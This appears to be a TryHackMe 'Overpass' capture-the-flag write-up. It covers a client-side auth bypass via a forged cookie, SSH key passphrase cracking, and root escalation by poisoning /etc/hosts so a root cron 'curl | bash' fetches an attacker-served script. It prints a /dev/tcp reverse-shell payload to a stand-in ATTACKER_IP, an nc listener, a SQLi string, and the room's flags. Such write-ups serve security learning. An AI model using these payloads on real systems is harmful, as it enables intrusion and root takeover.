Platform: TryHackMe · Difficulty: Easy · Category: Broken Client-Side Authentication / Cron RCE
Introduction
Overpass is a THM Easy box built around a textbook broken authentication flaw (OWASP A07:2021) and a classic remote-code-execution-by-cron privesc. The foothold needs no exploit code at all — just reading the JavaScript the server already hands you and noticing it never actually checks anything. The escalation is a curl | bash pattern running as root, made trivially hijackable by a world-writable /etc/hosts. Neither step involves a CVE; both are configuration and design failures that show up in real environments constantly.
Recon
nmap -sC -sV -oN nmap_initial.txt 10.10.x.x
| Port | Service | Version / Detail |
|---|---|---|
| 22/tcp | SSH | OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 |
| 80/tcp | HTTP | Golang net/http server — "Overpass" |
Two ports. The HTTP server is a Go binary advertising itself as a "military-grade, open-source password manager." No obvious framework CVEs to chase — this is custom code.
gobuster dir -u http://10.10.x.x -w /usr/share/wordlists/dirb/common.txt -o gobuster.txt
| URL | Notes |
|---|---|
/admin |
Login form |
/aboutus |
Static page |
/downloads |
App's own Go source + binaries |
/css, /img
|
Static assets |
/admin is the obvious target. /downloads looks tempting but turns out to be a distraction.
Foothold
Before touching the form, DevTools → Sources → login.js:
async function login() {
const creds = { username: usernameBox.value, password: passwordBox.value }
const response = await postData("/api/login", creds)
const statusOrCookie = await response.text()
if (statusOrCookie === "Incorrect credentials") {
loginStatus.textContent = "Incorrect Credentials"
} else {
Cookies.set("SessionToken",statusOrCookie)
window.location = "/admin"
}
}
The API returns either the literal string "Incorrect credentials" or a token. The client treats anything else as valid and stores it. /admin itself only checks that SessionToken exists — there's no server-side session table being consulted at all. This is an IDOR's cousin: not "guess someone else's ID," but "there was never a lock on the door."
document.cookie = "SessionToken=whatever"
Reload /admin. The panel renders a note to James and, beneath it, his RSA private key:
-----BEGIN RSA PRIVATE KEY-----
Proc-Type: 4,ENCRYPTED
DEK-Info: AES-128-CBC,9F85D92F34F42626F13A7493AB48F337
...
-----END RSA PRIVATE KEY-----
Proc-Type: 4,ENCRYPTED — passphrase-protected. The key alone isn't enough.
chmod 600 id_rsa
ssh2john id_rsa > james_hash
john --wordlist=/usr/share/wordlists/rockyou.txt james_hash
Loaded 1 password hash (SSH [RSA/DSA/EC/OPENSSH (SSH private keys) 32/64])
james13 (id_rsa)
| Username | Key passphrase | Service |
|---|---|---|
james |
james13 |
SSH (via private key) |
Shell / Access
ssh -i id_rsa james@10.10.x.x
# Enter passphrase for key 'id_rsa': james13
james@overpass-prod:~$ id
uid=1001(james) gid=1001(james) groups=1001(james)
Already a full TTY via SSH — no PTY upgrade needed.
cat ~/user.txt
thm{65c1aaf000506e56996822c6281e6bf7}
Escalation
cat /etc/crontab
* * * * * root curl overpass.thm/downloads/src/buildscript.sh | bash
Every minute, root fetches a script by hostname and pipes it straight to bash. No pinned IP, no signature check — whatever overpass.thm resolves to, root executes.
ls -la /etc/hosts
-rw-rw-rw- 1 root root 250 Jun 27 2020 /etc/hosts
World-writable. james can add an entry for overpass.thm and the root cron will fetch from wherever it's pointed.
Exploitation — The Full Chain
-
Broken client-side auth —
/admintrusts cookie presence, not validity → leaked RSA key forjames -
Passphrase crack —
ssh2john+john→james13→ SSH access -
Crontab enum — root runs
curl overpass.thm/... | bashevery minute -
/etc/hostshijack — world-writable, redirectoverpass.thmto attack box -
Payload delivery — serve malicious
buildscript.sh→ root reverse shell → root flag
Build the payload tree matching the cron's requested path:
mkdir -p ~/overpass/downloads/src && cd ~/overpass
cat > downloads/src/buildscript.sh <<'EOF'
#!/bin/bash
bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1
EOF
nc -lvnp 4444
sudo python3 -m http.server 80
Poison resolution on the target:
echo "ATTACKER_IP overpass.thm" >> /etc/hosts
Within a minute:
10.10.x.x - - [GET /downloads/src/buildscript.sh HTTP/1.1] 200 -
connect to [ATTACKER_IP] from (UNKNOWN) [10.10.x.x] 49876
root@overpass-prod:/#
cat /root/root.txt
thm{7f336f8c359dbac18d54fdd64ea753bb}
Rabbit Holes
SQLi fuzzing on /api/login. First instinct on seeing /api/login was to throw ' OR 1=1-- at it. It's a Go net/http handler with no SQL anywhere near the login decision — a few minutes wasted before doing the obvious thing and reading the client JS. The vuln was sitting in plaintext in the browser the entire time.
The /downloads source dive. /downloads serves the full Go source for the app. Spent a while reversing it for hardcoded secrets or a crypto flaw in password storage. There's a vulnerable-looking weak-encryption routine in there, but it's a dead end for this path — the crontab is the intended route and far shorter.
SUID hunting. Ran find / -perm -4000 2>/dev/null out of habit. Nothing unusual — stock sudo, passwd, mount. Cost nothing but attention; the crontab was the real answer and should have been checked first.
Port 80 permission error. First attempt at python3 -m http.server 80 without sudo → PermissionError: [Errno 13]. Port 80 is privileged. Thirty-second facepalm, fixed with sudo.
Flags
| Flag | Value | Location |
|---|---|---|
| User | thm{65c1aaf000506e56996822c6281e6bf7} |
~james/user.txt |
| Root | thm{7f336f8c359dbac18d54fdd64ea753bb} |
/root/root.txt |
Mitigations
| Vulnerability | Severity | Mitigation |
|---|---|---|
Client-side-only session validation on /admin
|
Critical | Validate session tokens server-side against a real session store on every protected request; never trust cookie presence alone |
| Passphrase-protected private key exposed via web UI | High | Never serve private keys through any web interface; distribute credentials via a secrets manager with audit logging |
| Weak key passphrase, crackable via rockyou.txt | Medium | Enforce stronger passphrase policy for SSH keys; consider hardware-backed keys for sensitive accounts |
| Root cron executing remote script fetched by hostname | Critical | Never pipe network content into a privileged shell; pin to a fixed IP over TLS and verify a signature/checksum before execution |
World-writable /etc/hosts (0666) |
Critical |
chmod 644 /etc/hosts; audit /etc for unexpected write permissions with find /etc -writable -not -user root
|
Key Takeaway
Broken authentication doesn't need to be subtle to be devastating — here it was "the server trusts a cookie it never issued." Read client-side JavaScript before attacking the server; the logic flaw is often sitting there in plaintext. On the privesc side, curl | bash as root is a standing invitation — check crontabs and world-writable /etc files before reaching for a full enumeration script.
Room: TryHackMe — Overpass
Top comments (0)